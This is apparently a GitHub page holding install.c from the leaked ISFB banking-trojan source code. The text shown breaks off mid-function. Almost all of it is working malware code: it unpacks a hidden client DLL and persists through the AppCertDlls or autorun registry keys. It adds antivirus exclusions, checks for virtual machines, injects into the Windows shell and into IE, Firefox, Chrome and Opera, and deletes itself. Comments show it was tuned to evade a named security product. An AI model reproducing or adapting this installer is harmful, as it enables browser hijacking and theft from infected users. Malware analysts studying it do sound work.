-
Notifications
You must be signed in to change notification settings - Fork 53
/
install.c
1780 lines (1492 loc) · 46.5 KB
/
install.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// ISFB project. Version 2.13.24.1
//
// module: crm.c
// $Revision: 456 $
// $Date: 2015-01-24 21:56:51 +0300 (Сб, 24 янв 2015) $
// description:
// ISFB client installer.
// This process contains packed client DLL image in resources. When started, it unpacks client DLL, copies it into
// one of system folders, registers it within either AppCertDlls key or Windows autorun, and attempts to inject it into the
// Windows Shell process and all known browsers.
#include "common\common.h"
#include <shlobj.h>
#include <Tlhelp32.h>
#include "crm.h"
#include "apdepack\depack.h"
#include "acdll\activdll.h"
#include "crypto\crypto.h"
#include "bkinst.h"
HANDLE g_AppHeap = NULL; // current DLL heap
ULONG g_MachineRandSeed = 0;
// Machine level random names
LPTSTR g_ClientFileName;
LPTSTR g_StartupValueName;
LPTSTR g_StartupValueName64;
LPTSTR g_UpdateEventName = NULL;
LPTSTR g_ConfigUpdateTimerName = NULL;
LPTSTR g_DllExportName = NULL;
LPTSTR g_MainRegistryKey = NULL;
// Inject flags. Used by InjectClient and SetAutoRun functions
#define INJECT_FLAG_AUTORUN 0x10 // Register within Windows autorun
// from bkdrv.c
extern WINERROR BkExtractDlls(PAD_CONTEXT pAdContext);
// from desktop.c
extern WINERROR SetScrShotAsWallpaperW(LPWSTR pScrShot, LPWSTR* ppWallpaper);
extern WINERROR SetWallpaperW(LPWSTR pWallpaper);
// from av.c
extern BOOL AvIsVm(VOID);
extern ULONG AvGetCursorMovement(VOID);
extern WINERROR AvAddMsseExclusion(LPTSTR pFilePath, BOOL bIs64);
// from uac.c
extern BOOL UacMain(VOID);
#ifdef _CHECK_VM
#ifdef _USE_INSTALL_INI
BOOL g_bCheckVm = FALSE;
#else
#define g_bCheckVm TRUE
#endif
#endif // _CHECK_VM
PVOID __stdcall AppAlloc(ULONG Size)
{
return(hAlloc(Size));
}
VOID __stdcall AppFree(PVOID pMem)
{
hFree(pMem);
}
PVOID __stdcall AppRealloc(PVOID pMem, ULONG Size)
{
return(Realloc(pMem, Size));
}
ULONG __stdcall AppRand(VOID)
{
return(GetTickCount());
}
//
// Generates unique module name.
//
static BOOL GenModuleName(
PULONG pSeed, // random seed
LPTSTR* pName, // receives the buffer with the name generated
PULONG pLen // receives the length of the name in chars
)
{
BOOL Ret = FALSE;
LPTSTR ModuleName, SystemDir;
PWIN32_FIND_DATA FindFileData;
ULONG NameLen = 0;
HANDLE hFind;
if (FindFileData = (PWIN32_FIND_DATA)hAlloc(sizeof(WIN32_FIND_DATA)))
{
if (SystemDir = (LPTSTR)hAlloc(MAX_PATH_BYTES))
{
if (ModuleName = (LPTSTR)hAlloc(DOS_NAME_LEN*sizeof(_TCHAR)))
{
memset(ModuleName, 0, DOS_NAME_LEN*sizeof(_TCHAR));
if (NameLen = GetSystemDirectory(SystemDir, (MAX_PATH - cstrlen(szFindDll) - 1)))
{
ULONG i, Steps1, Steps2;
HANDLE hFile;
FILETIME MaxFileTime = {ULONG_MAX, ULONG_MAX};
// Opening c_1252.nls file and getting it's write time.
// Thus we can determine a time when OS was installed.
lstrcat(SystemDir, sz1252nls);
hFile = CreateFile(SystemDir, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if (hFile != INVALID_HANDLE_VALUE)
{
GetFileTime(hFile, &MaxFileTime, NULL, NULL);
((PLARGE_INTEGER)&MaxFileTime)->QuadPart += _SECONDS(60*60*24);
CloseHandle(hFile);
}
SystemDir[NameLen] = 0;
NameLen = 0;
// Initializing rand with machine seed value to generate the same name on the same machine
Steps1 = RtlRandom(pSeed) & 0xff;
Steps2 = RtlRandom(pSeed) & 0xff;
lstrcat(SystemDir, szFindDll);
if ((hFind = FindFirstFile(SystemDir, FindFileData)) != INVALID_HANDLE_VALUE)
{
// Cheking files that were modified earlier then MaxFileTime only
while(CompareFileTime(&FindFileData->ftLastWriteTime, &MaxFileTime) > 0)
{
if (!FindNextFile(hFind, FindFileData))
{
FindClose(hFind);
hFind = FindFirstFile(SystemDir, FindFileData);
MaxFileTime.dwHighDateTime = FindFileData->ftLastWriteTime.dwHighDateTime;
MaxFileTime.dwLowDateTime = FindFileData->ftLastWriteTime.dwLowDateTime;
}
} // while(CompareFileTime(&FindFileData->ftLastWriteTime, &MaxFileTime) > 0)
for (i=0; (i<=Steps1 || i<=Steps2); i++)
{
if (i == Steps1 || i == Steps2)
{
ULONG nLen = (ULONG)(StrChr((LPTSTR)&FindFileData->cFileName,'.') - (LPTSTR)&FindFileData->cFileName);
ULONG nPos = 0;
if (NameLen && ((nPos = nLen-4) > nLen))
nPos = 0;
if (nLen>4)
nLen = 4;
memcpy(ModuleName+NameLen, &FindFileData->cFileName[nPos], nLen*sizeof(_TCHAR));
NameLen += nLen;
} // if (i == Steps1 || i == Steps2)
do
{
if (!FindNextFile(hFind, FindFileData))
{
FindClose(hFind);
hFind = FindFirstFile(SystemDir, FindFileData);
} // if (!FindNextFile(hFind, FindFileData))
} while(CompareFileTime(&FindFileData->ftLastWriteTime, &MaxFileTime) > 0);
} // for (i=0;
*pName = ModuleName;
*pLen = NameLen;
Ret = TRUE;
FindClose(hFind);
} // if ((hFind =
else
{
DbgPrint("ISFB: System file not found: \"%s\"\n", SystemDir);
}
} // if (GetSystemDirectory(
if (!Ret)
hFree(ModuleName);
} // if (ModuleName =
hFree(SystemDir);
} // if (SystemDir =
hFree(FindFileData);
} // if (FindFileData =
return(Ret);
}
static LPTSTR MakeRundllCommandLine(
LPTSTR pDllPath,
LPTSTR pFunction
)
{
LPTSTR pRunCommand = NULL;
if ((pDllPath) && (pRunCommand = hAlloc((cstrlen(szRunFmt) + lstrlen(pDllPath) + lstrlen(pFunction) + 1) * sizeof(_TCHAR))))
wsprintf(pRunCommand, szRunFmt, pDllPath, pFunction);
return(pRunCommand);
}
static BOOL RunDll(LPTSTR DllPath)
{
BOOL Ret = FALSE;
LPTSTR AppStr, CmdStr;
if (AppStr = MakeRundllCommandLine(DllPath, szCreateProcessNotify))
{
if (CmdStr = StrChr(AppStr,' '))
{
CmdStr[0] = 0;
CmdStr += 1;
PsSupDisableWow64Redirection();
if (PsSupStartExeWithParam(AppStr, CmdStr, SW_SHOWNORMAL) == NO_ERROR)
Ret = TRUE;
PsSupEnableWow64Redirection();
}
hFree(AppStr);
} // if (AppStr = MakeRundllCommandLine(DllPath))
return(Ret);
}
//
// Registers specified DLL as AppCertDll or within Windows autorun key, depending on current process permissions.
//
static WINERROR SetAutoRun(
LPTSTR FileName, // Full path to a dll to resister
ULONG Flags // Variuose flags
)
{
WINERROR Status = ERROR_UNSUCCESSFULL;
ULONG FileNameLen, rSize = 0, KeyFlags = KEY_WOW64_32KEY;
HKEY hAppCertKey, hKey = 0;
LPTSTR StartupValueName, RunCommand = NULL;
if (Flags & INJECT_ARCH_X64)
{
KeyFlags = KEY_WOW64_64KEY;
StartupValueName = g_StartupValueName64;
}
else
StartupValueName = g_StartupValueName;
FileNameLen = lstrlen(FileName);
// Try to remove previously registered autorun value
Status = RegOpenKeyEx(HKEY_CURRENT_USER, szAutoPath, 0, (KeyFlags | KEY_ALL_ACCESS), &hKey);
if (Status == NO_ERROR)
RegDeleteValue(hKey, StartupValueName);
// Try to register within AppCertDlls first
Status = RegCreateKeyEx(HKEY_LOCAL_MACHINE, szAppCertDlls, 0, NULL, 0, (KeyFlags | KEY_ALL_ACCESS), NULL, &hAppCertKey, NULL);
if (Status == NO_ERROR)
{
Status = RegSetValueEx(hAppCertKey, StartupValueName, 0, REG_SZ, FileName, (FileNameLen + 1));
RegCloseKey(hAppCertKey);
}
if (Status != NO_ERROR && (!PsSupIsWow64Process(g_CurrentProcessId, 0) || (Flags & INJECT_ARCH_X64)))
{
// Registering within AppCertDlls failed, try to register within Windows autorun
do
{
if (!hKey)
break;
if (!(RunCommand = MakeRundllCommandLine(FileName, szCreateProcessNotify)))
break;
if ((Status = RegSetValueEx(hKey, StartupValueName, 0, REG_SZ, (BYTE*)RunCommand, (ULONG)(lstrlen(RunCommand) + 1)*sizeof(_TCHAR))) != NO_ERROR)
break;
Status = NO_ERROR;
DbgPrint("ISFB: Client DLL successfully registered within Windows autorun.\n");
} while (FALSE);
if (Status == ERROR_UNSUCCESSFULL)
Status = GetLastError();
if (RunCommand)
hFree(RunCommand);
}
else
{
DbgPrint("ISFB: Client DLL successfully registered as AppCertDll.\n");
}
if (hKey)
RegCloseKey(hKey);
return(Status);
}
//
// Writes the specified binary data to the specified file.
// Removes the specified file before writing (if exists).
//
static WINERROR SaveToFile(
LPTSTR FileName, // Full path to the file.
PVOID pData, // Binary data to write.
ULONG DataSize // Size of the data in bytes.
)
{
WINERROR Status = ERROR_UNSUCCESSFULL;
HANDLE hFile;
LPTSTR NewName, pName;
// Trying to remove the existing file first
if (NewName = hAlloc((lstrlen(FileName) + 16) * sizeof(_TCHAR)))
{
lstrcpy(NewName, FileName);
if (pName = strrchr(NewName, '\\'))
pName += 1;
else
pName = NewName;
wsprintf(pName, _T("%u"), GetTickCount());
// Renaming the existing file
if (MoveFileEx(FileName, NewName, MOVEFILE_REPLACE_EXISTING))
// Removing it
MoveFileEx(NewName, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);
hFree(NewName);
} // if (NewName = hAlloc((lstrlen(FileName) + 16) * sizeof(_TCHAR)))
hFile = CreateFile(FileName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_HIDDEN, 0);
if (hFile != INVALID_HANDLE_VALUE)
{
ULONG bWritten;
if (WriteFile(hFile, pData, DataSize, &bWritten, NULL))
Status = NO_ERROR;
CloseHandle(hFile);
}
if (Status == ERROR_UNSUCCESSFULL)
Status = GetLastError();
return(Status);
}
//
// Attempts to save client DLL into a file.
// If successfull - allocates and returns a string containing the name of the file.
// In case of error returns NULL.
//
static LPTSTR SaveClient(
PVOID pData, // pointer to the unpacked client DLL data
ULONG Size,
LPTSTR ModuleName
)
{
LPTSTR FilePath = NULL;
ULONG ModuleNameLen = lstrlen(ModuleName);
if (FilePath = (LPTSTR)hAlloc(MAX_PATH_BYTES))
{
ULONG bSize;
WINERROR Status;
do
{
// Removed because of Trusteer Rapport signature
/*
// Try SystemDirectory first
bSize = GetSystemDirectory(FilePath, MAX_PATH);
if ((bSize+ModuleNameLen+2) <= MAX_PATH)
{
FilePath[bSize] = '\\';
FilePath[bSize+1] = 0;
lstrcat(FilePath, ModuleName);
Status = SaveToFile(FilePath, pData, Size);
if (Status == NO_ERROR)
break;
}
*/
// Try Windows directory
bSize = GetWindowsDirectory(FilePath, MAX_PATH);
if ((bSize+ModuleNameLen+2) <= MAX_PATH)
{
FilePath[bSize] = '\\';
FilePath[bSize+1] = 0;
lstrcat(FilePath, ModuleName);
Status = SaveToFile(FilePath, pData, Size);
if (Status == NO_ERROR)
break;
}
// Try current TEMP directory
bSize = GetTempPath(MAX_PATH, FilePath);
if ((bSize+ModuleNameLen+1) <= MAX_PATH)
{
FilePath[bSize] = 0;
lstrcat(FilePath, ModuleName);
Status = SaveToFile(FilePath, pData, Size);
if (Status == NO_ERROR)
break;
}
// Try application current directory
lstrcpy(FilePath, ModuleName);
Status = SaveToFile(FilePath, pData, Size);
if (Status == NO_ERROR)
break;
hFree(FilePath);
FilePath = NULL;
} while (FALSE);
} // if (FilePath =
return(FilePath);
}
//
// Enumerate all processes and inject DLL into every browser process.
//
static VOID EnumProcessAndInjectDll(
LPTSTR DllPath,
ULONG Flags
)
{
PROCESSENTRY32 Process = {0};
HANDLE hSnapshot;
Process.dwSize = sizeof(PROCESSENTRY32);
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot != INVALID_HANDLE_VALUE)
{
if (Process32First(hSnapshot, &Process))
{
do
{
if (Process.th32ProcessID != g_CurrentProcessId)
{
ULONG NameHash;
strupr((LPTSTR)&Process.szExeFile);
NameHash = (Crc32((LPTSTR)&Process.szExeFile, lstrlen((LPTSTR)&Process.szExeFile)) ^ g_CsCookie);
if (NameHash == HOST_IE || NameHash == HOST_FF || NameHash == HOST_CR || NameHash == HOST_OP)
{
DbgPrint("ISFB: Injecting Client DLL to a predefined host process %s\n", (LPTSTR)&Process.szExeFile);
#if _INJECT_AS_IMAGE
ProcessInjectDllWithThread(Process.th32ProcessID);
UNREFERENCED_PARAMETER(DllPath);
UNREFERENCED_PARAMETER(Flags);
#else
PsSupInjectDll(Process.th32ProcessID, DllPath, Flags);
#endif
}
} // if (Process.th32ProcessID != g_CurrentProcessId)
} while (Process32Next(hSnapshot, &Process));
} // if (Process32First(hSnapshot, &Process))
CloseHandle(hSnapshot);
} // if (hSnapshot != INVALID_HANDLE_VALUE)
}
static BOOL InjectClient(
PCHAR pClient, // Pointer to the unpacked client DLL data
ULONG Size, // Size of the unpacked data in bytes
ULONG Flags // Variouse flags
)
{
BOOL Ret = FALSE;
HGLOBAL hRes = 0;
LPTSTR ModuleName, DllPath = NULL;
ULONG ShellPid;
do // not a loop
{
if (Flags & INJECT_ARCH_X64)
{
#ifdef _RANDOM_DLL_NAME
ModuleName = PsSupNameChangeArch(g_ClientFileName);
#else
ModuleName = PsSupNameChangeArch(szClientDll);
#endif
PsSupDisableWow64Redirection();
}
else
{
#ifdef _RANDOM_DLL_NAME
ModuleName = g_ClientFileName;
#else
ModuleName = szClientDll;
#endif
}
DllPath = SaveClient(pClient, Size, ModuleName);
if (Flags & INJECT_ARCH_X64)
{
PsSupEnableWow64Redirection();
hFree(ModuleName);
}
if (!DllPath)
{
DbgPrint("ISFB: Failed to save client DLL.\n");
break;
}
DbgPrint("ISFB: Client DLL saved as %s.\n", DllPath);
#ifdef _MSSE_EXCLUSION
// Add client path to MSSE exclusion list
AvAddMsseExclusion(DllPath, Flags & INJECT_ARCH_X64);
#endif
if (Flags & INJECT_FLAG_AUTORUN)
{
if (SetAutoRun(DllPath, Flags) != NO_ERROR)
{
DbgPrint("ISFB: Set auto run failed.\n");
}
} // if (AutoRun)
if (!(Flags & INJECT_ARCH_X64))
{
// Inject into the windows shell process first.
GetWindowThreadProcessId(GetShellWindow(), &ShellPid);
PsSupInjectDll(ShellPid, DllPath, Flags);
// Inject into every browser process running
EnumProcessAndInjectDll(DllPath, Flags);
}
else
// Starting 64-bit DLL
RunDll(DllPath);
Ret = TRUE;
} while(FALSE);
if (DllPath)
hFree(DllPath);
return(Ret);
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Attempts to unload the client-DLL from all existing processes.
// This function is used for compatibility with old ISFB versions those do not support dll update.
//
static BOOL UnloadAll(LPTSTR DllPath)
{
BOOL Ret = FALSE;
PROCESSENTRY32 Process = {0};
HANDLE hSnapshot;
// Enumerate all processes and unload from every process.
Process.dwSize = sizeof(PROCESSENTRY32);
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot != INVALID_HANDLE_VALUE)
{
if (Process32First(hSnapshot, &Process))
{
Ret = TRUE;
do
{
if (PsSupUnloadDll(Process.th32ProcessID, DllPath, 0) == NO_ERROR)
{
DbgPrint("ISFB: Client DLL \"%s\" successfully unloaded from process 0x%x.\n", DllPath, Process.th32ProcessID);
}
} while (Process32Next(hSnapshot, &Process));
}
CloseHandle(hSnapshot);
} // if (hSnapshot != INVALID_HANDLE_VALUE)
return(Ret);
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Searches the specified CmdLine for pare: " ParamStr ParamData". If found, copies ParamData into specified string.
//
static BOOL CmdLineParam(
IN LPTSTR CmdLine, // Command line string
IN LPTSTR ParamStr, // Reqired parameter name string
OUT LPTSTR ParamData, // String to receive parameter value
IN OUT PULONG DataLen // Length of the string in chars including 0
)
{
BOOL Ret = FALSE;
LPTSTR UprCmdLine = (LPTSTR)hAlloc((lstrlen(CmdLine)+1)*sizeof(_TCHAR)); // 1 char for 0
if (UprCmdLine)
{
LPTSTR Param;
lstrcpy(UprCmdLine, CmdLine);
UprCmdLine = _strupr(UprCmdLine);
if (Param = StrStrI(UprCmdLine, ParamStr))
{
ULONG cLen = 0;
Param += lstrlen(ParamStr);
while (Param[0] == 32) // " "
Param += 1;
while ((Param[cLen] != 0) && (Param[cLen] != 32) && (cLen < *DataLen))
{
ParamData[cLen] = Param[cLen];
cLen += 1;
}
if (cLen != 0 && cLen < *DataLen)
{
ParamData[cLen] = 0;
*DataLen = cLen;
Ret = TRUE;
}
}
hFree(UprCmdLine);
}
return(Ret);
}
//
// Terminates the specified process.
//
static BOOL StopProcess(
ULONG Pid // ID of the process to terminate.
)
{
BOOL Ret = FALSE;
HANDLE hProcess;
if (hProcess = OpenProcess(PROCESS_TERMINATE | SYNCHRONIZE, FALSE, Pid))
{
TerminateProcess(hProcess, 0);
if (WaitForSingleObject(hProcess, 5000) == WAIT_OBJECT_0)
Ret = TRUE;
CloseHandle(hProcess);
}
if (Ret)
{
DbgPrint("ISFB: Process 0x%x stopped successfully.\n", Pid);
}
else
{
DbgPrint("ISFB: Failed to stop process 0x%x.\n", Pid);
}
return(Ret);
}
//
// Generates machine-specific pseudo random names.
//
static BOOL GenMachineLevelNames(VOID)
{
BOOL Ret = FALSE;
ULONG cLen;
ULONG NameSeed, GuidSeed;
LPTSTR ConfigUpdateMutexName = NULL;
DbgPrint("ISFB: Generating machine-level names from seed 0x%08x\n", g_MachineRandSeed);
NameSeed = GuidSeed = g_MachineRandSeed;
do // not a loop
{
if (!GenModuleName(&NameSeed, &g_StartupValueName, &cLen))
{
DbgPrint("ISFB: Failed generating main module name.\n");
break;
}
if (!GenModuleName(&NameSeed, &g_ClientFileName, &cLen))
{
DbgPrint("ISFB: Failed generating client dll module name.\n");
break;
}
#if (defined(_EXE_LOADER) && !defined(_DLL_INSTALLER))
lstrcat(g_ClientFileName, szExtExe);
#else
lstrcat(g_ClientFileName, szExtDll);
#endif
if (!GenModuleName(&NameSeed, &g_StartupValueName64, &cLen))
{
DbgPrint("ISFB: Failed generating 64-bit module name.\n");
break;
}
// Main registry key name, we don't really need it here.
if (!(g_MainRegistryKey = GenGuidName(&GuidSeed, szDataRegSubkey, NULL, FALSE)))
break;
// Randomizing DLL-specific GUID values
GuidSeed ^= uDllSeed;
// Update event name
if (!(g_UpdateEventName = GenGuidName(&GuidSeed, szLocal, NULL, TRUE)))
break;
// Config update mutex name, we don't really need it here.
if (!(ConfigUpdateMutexName = GenGuidName(&GuidSeed, NULL, NULL, TRUE)))
break;
// Config update timer name
if (!(g_ConfigUpdateTimerName = GenGuidName(&GuidSeed, szLocal, NULL, TRUE)))
break;
// Random DLL exported function name
GuidSeed = GetTickCount();
if (!GenModuleName(&GuidSeed, &g_DllExportName, &cLen))
{
DbgPrint("ISFB: Failed generating client dll export name.\n");
break;
}
#if _DISPLAY_NAMES
DbgPrint("ISFB: 32-bit startup value name is %s.\n", g_StartupValueName);
DbgPrint("ISFB: 32-bit client dll module name is %s.\n", g_ClientFileName);
DbgPrint("ISFB: 64-bit startup value name is %s.\n", g_StartupValueName64);
DbgPrint("ISFB: Update event name is %s.\n", g_UpdateEventName);
DbgPrint("ISFB: Config update mutex name is %s.\n", ConfigUpdateMutexName);
DbgPrint("ISFB: Config update timer name is %s.\n", g_ConfigUpdateTimerName);
#endif
Ret = TRUE;
} while(FALSE);
if (ConfigUpdateMutexName)
hFree(ConfigUpdateMutexName);
return(Ret);
}
//
// Processes command line parameters if any.
//
static VOID CheckProcessParameters(
LPTSTR CmdLine // Command line with parameters.
)
{
ULONG UpdLen = MAX_PATH;
LPTSTR UpdStr = (LPTSTR)hAlloc(MAX_PATH_BYTES);
LPTSTR ParamStr = NULL;
// Check out the parameter string
if (UpdStr)
{
if (CmdLineParam(CmdLine, szUpd, UpdStr, &UpdLen))
{
// if "/UPD" parameter specified, try to update the process with specified ID
ULONG ProcessId = _tcstoul(UpdStr, NULL, 0);
if (ProcessId)
{
DbgPrint("ISFB: /UPD parameter found, attemting to update process 0x%x\n", ProcessId);
do // not a loop
{
if (!PsSupGetProcessPathById(ProcessId, UpdStr, MAX_PATH))
break;
DbgPrint("ISFB: Target file to update is: %s.\n", UpdStr);
DbgPrint("ISFB: Current file path is: %s.\n", g_CurrentModulePath);
if (!StopProcess(ProcessId))
break;
DbgPrint("ISFB: Process 0x%x terminated.\n", ProcessId);
if (!CopyFile(g_CurrentModulePath, UpdStr, FALSE))
break;
DbgPrint("ISFB: New file copied to target.\n");
if (ParamStr = (LPTSTR)hAlloc(MAX_PATH))
{
wsprintf(ParamStr, szLdrSdFmt, g_CurrentProcessId);
if (PsSupStartExeWithParam(UpdStr, ParamStr, SW_SHOWNORMAL) == NO_ERROR)
{
DbgPrint("ISFB: Update complete. Waiting for process to terminate.\n");
do
{
SleepEx(5000, TRUE);
} while(TRUE);
}
hFree(ParamStr);
}
} while(FALSE);
} // if (ProcessId)
}
if (CmdLineParam(CmdLine, szSd, UpdStr, &UpdLen))
{
// /SD parameter specified. Stop and delete specified process.
ULONG ProcessId = _tcstoul(UpdStr, NULL, 0);
if (ProcessId)
{
DbgPrint("ISFB: /SD parameter found, attemting to stop and delete process 0x%x\n", ProcessId);
do // not a loop
{
if (!PsSupGetProcessPathById(ProcessId, UpdStr, MAX_PATH))
break;
DbgPrint("ISFB: Target file to delete is: %s.\n", UpdStr);
if (StopProcess(ProcessId))
{
DbgPrint("ISFB: Process 0x%x terminated.\n", ProcessId);
}
if (!DeleteFile(UpdStr))
break;
DbgPrint("ISFB: Process file deleted.\n");
} while(FALSE);
} // if (ProcessId)
}
hFree(UpdStr);
} // if (UpdStr)
}
//
// Creates a BAT file that attemts to delete this module in infinite loop.
// Then this BAT file deletes itself.
//
static VOID DoSelfDelete(VOID)
{
if (g_CurrentModulePath)
PsSupDeleteFileWithBat(g_CurrentModulePath);
}
//
// Searches the resource with the specified name within the current image resources.
// Loads the resource found, unpacks it and tries to install as client DLL.
//
static BOOL InstallClientRsrc(
LPTSTR ClientName,
ULONG Flags
)
{
HRSRC hResource;
HGLOBAL hRes;
BOOL Ret = FALSE;
Flags |= INJECT_FLAG_AUTORUN;
// Looking for the specified client resource
if (hResource = FindResource(g_CurrentModule, ClientName, RT_RCDATA))
{
// Loading the resource
if (hRes = LoadResource(g_CurrentModule, hResource))
{
// Unpacking the resource data
PAP_FILE_HEADER pHeader = (PAP_FILE_HEADER)LockResource(hRes);
PCHAR Packed = (PCHAR)pHeader + pHeader->HeaderSize;
PVOID Unpacked = (PVOID)hAlloc(pHeader->OriginalSize);
if (Unpacked)
{
if (aP_depack(Packed, Unpacked) == pHeader->OriginalSize)
// Installing the DLL
Ret = InjectClient(Unpacked, pHeader->OriginalSize, Flags);
hFree(Unpacked);
} // if (Unpacked)
} // if (hRes = LoadResource(NULL, hResource))
} // if (hResource = FindResource(NULL, ClientName, RT_RCDATA))
else
{
DbgPrint("ISFB: Client resource \"%s\" not found.\n", ClientName);
}
return(Ret);
}
//
// Searches the client DLL data with the specified name within the current image joined files.
// Unpacks the found data and tries to install as client DLL.
//
static BOOL InstallClientFj(
ULONG ClientId,
ULONG Flags
)
{
BOOL Ret = FALSE;
PCHAR pData;
ULONG Size;
Flags |= INJECT_FLAG_AUTORUN;
if (GetJoinedData((PIMAGE_DOS_HEADER)g_CurrentModule, &pData, &Size, (Flags & INJECT_ARCH_X64), ClientId, 0))
{
Ret = InjectClient(pData, Size, Flags);
hFree(pData);
}
else
{
DbgPrint("ISFB: Joined client ID 0x%x not found.\n", ClientId);
}
return(Ret);
}
#ifdef _REGISTER_EXE
//
// Attempts to copy the specified file into one of the system-specific folders.
// Returns new fiel path if successfull.
//
static LPTSTR SaveApp(
LPTSTR SourcePath, // source file path
LPTSTR ModuleName, // new file name
PCHAR pFileData,
ULONG FileSize
)
{
LPTSTR FilePath = NULL;
ULONG NameLen = lstrlen(ModuleName);
if (FilePath = hAlloc((MAX_PATH + cstrlen(szZoneIdentifier) + 1) * sizeof(_TCHAR)))
{
ULONG bSize;
do
{
// Try SystemDirectory first
bSize = GetSystemDirectory(FilePath, MAX_PATH);
if ((bSize + NameLen + 2) <= MAX_PATH)
{
PathCombine(FilePath, FilePath, ModuleName);
if (
CopyFile(SourcePath, FilePath, FALSE))
{
g_CurrentProcessFlags |= GF_ADMIN_PROCESS;
break;
}
}
// Try Windows directory
bSize = GetWindowsDirectory(FilePath, MAX_PATH);
if ((bSize + NameLen + 2) <= MAX_PATH)
{
PathCombine(FilePath, FilePath, ModuleName);
if (
CopyFile(SourcePath, FilePath, FALSE))
{
g_CurrentProcessFlags |= GF_ADMIN_PROCESS;
break;
}
}
// Try current TEMP directory
bSize = GetTempPath(MAX_PATH, FilePath);
if ((bSize + NameLen + 1) <= MAX_PATH)
{
PathCombine(FilePath, FilePath, ModuleName);
if (
CopyFile(SourcePath, FilePath, FALSE))
break;
}
// Try application current directory
lstrcpy(FilePath, ModuleName);
if (
CopyFile(SourcePath, FilePath, FALSE))
break;
hFree(FilePath);
FilePath = NULL;
} while (FALSE);
} // if (FilePath =
if (FilePath)
{
DbgPrint("ISFB: The installer saved as \"%s\"\n", FilePath);
// Deleting "Zone.Identifier" stream to avoid "Unknown publisher" message when started